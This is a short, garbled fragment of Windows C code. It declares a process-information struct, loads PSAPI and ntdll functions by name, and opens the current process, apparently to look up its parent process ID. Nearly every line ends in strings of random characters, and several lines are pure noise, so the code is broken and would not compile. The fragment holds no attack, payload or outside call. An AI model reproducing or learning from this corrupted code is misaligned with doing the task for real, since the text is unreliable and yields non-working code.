ULONG UniqueProcessId; 9[f%;WaS
ULONG InheritedFromUniqueProcessId; o_:Qk;t
} PROCESS_BASIC_INFORMATION; 6<76O~hNZ
0o;~~\fq.
PROCNTQSIP NtQueryInformationProcess; 9%TT>2#
f=oeF]=I"
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =L16hDk o
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xvO 3BU~2
_>Ln@
HANDLE hProcess; {jG.=}/Dk
PROCESS_BASIC_INFORMATION pbi; #L1>dHhat
FAd``9kRT
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); x)\V lR
if(NULL == hInst ) return 0; '{^8_k\}B
5\?3$<1I
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g$gS7!u,
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^teaJ y%
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gD5P!}s[u0
{|p"; uJ
if (!NtQueryInformationProcess) return 0; ;r@!a!NLB
=WjJN Q
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5l&j